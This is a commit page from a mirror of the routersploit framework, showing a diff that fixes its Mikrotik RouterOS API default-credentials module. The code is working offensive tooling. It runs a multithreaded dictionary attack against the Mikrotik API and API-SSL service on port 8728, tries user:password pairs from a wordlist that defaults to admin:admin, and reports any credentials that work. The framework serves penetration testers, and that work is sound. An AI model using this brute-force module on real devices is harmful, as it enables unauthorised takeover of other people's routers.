Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
92880a05
Unverified
Commit
92880a05
authored
Apr 10, 2024
by
Marcin Bury
Committed by
GitHub
Apr 10, 2024
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fix Mikrotik RouterOS API creds module (#816)
parent
ecf1b5a4
Expand all
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
49 additions
and
20 deletions
+49
-20
apiros_client.py
routersploit/libs/apiros/apiros_client.py
+0
-0
api_ros_default_creds.py
...t/modules/creds/routers/mikrotik/api_ros_default_creds.py
+49
-20
No files found.
routersploit/libs/apiros/apiros_client.py
View file @
92880a05
This diff is collapsed.
Click to expand it.
routersploit/modules/creds/routers/mikrotik/api_ros_default_creds.py
View file @
92880a05
import
socket
import
ssl
from
routersploit.core.exploit
import
*
from
routersploit.core.tcp.tcp_client
import
TCPClient
from
routersploit.libs.apiros.apiros_client
import
ApiRosClient
from
routersploit.libs.apiros.apiros_client
import
ApiRosClient
,
LoginError
class
Exploit
(
TCPClient
):
__info__
=
{
"name"
:
"Mikrotik Default Creds - API ROS"
,
"description"
:
""
,
"description"
:
"Module performs dictionary attack against Mikrotik API and API-SSL. "
"If valid credentials are found they are displayed to the user."
,
"authors"
:
(
"Marcin Bury <marcin[at]threat9.com>"
,
# routersploit module
),
...
...
@@ -18,6 +22,8 @@ class Exploit(TCPClient):
target
=
OptIP
(
""
,
"Target IPv4, IPv6 address or file with ip:port (file://)"
)
port
=
OptPort
(
8728
,
"Target API port"
)
ssl
=
OptBool
(
False
,
"Use SSL for API"
)
threads
=
OptInteger
(
1
,
"Number of threads"
)
defaults
=
OptWordlist
(
"admin:admin"
,
"User:Pass or file with default credentials (file://)"
)
stop_on_success
=
OptBool
(
True
,
"Stop on first valid authentication attempt"
)
...
...
@@ -44,30 +50,53 @@ class Exploit(TCPClient):
else
:
print_error
(
"Credentials not found"
)
def
login
(
self
,
username
,
password
):
try
:
apiros
=
ApiRosClient
(
address
=
self
.
target
,
port
=
self
.
port
,
user
=
username
,
password
=
password
,
use_ssl
=
self
.
ssl
)
apiros
.
open_socket
()
output
=
apiros
.
login
()
if
output
[
0
][
0
]
==
"!done"
:
print_success
(
"Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
apiros
.
close
()
return
True
else
:
print_error
(
"Unexpected Response - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbossity
)
except
LoginError
:
apiros
.
close
()
print_error
(
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
except
ssl
.
SSLError
:
apiros
.
close
()
print_error
(
"SSL Error, retrying..."
)
return
self
.
login
(
username
,
password
)
apiros
.
close
()
return
False
def
target_function
(
self
,
running
,
creds
):
while
running
.
is_set
():
username
=
""
passsword
=
""
try
:
username
,
password
=
creds
.
next
()
.
split
(
":"
,
1
)
tcp_client
=
self
.
tcp_create
()
tcp_sock
=
tcp_client
.
connect
()
apiros
=
ApiRosClient
(
tcp_client
)
output
=
apiros
.
login
(
username
,
password
)
if
output
[
0
][
0
]
==
"!done"
:
if
self
.
stop_on_success
:
running
.
clear
()
print_success
(
"Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
else
:
print_error
(
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
tcp_client
.
close
()
if
self
.
login
(
username
,
password
)
and
self
.
stop_on_success
:
running
.
clear
()
except
RuntimeError
:
print_error
(
"Connection closed by remote end"
)
break
except
socket
.
timeout
:
print_error
(
"Timeout waiting for the response"
)
break
except
StopIteration
:
break
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment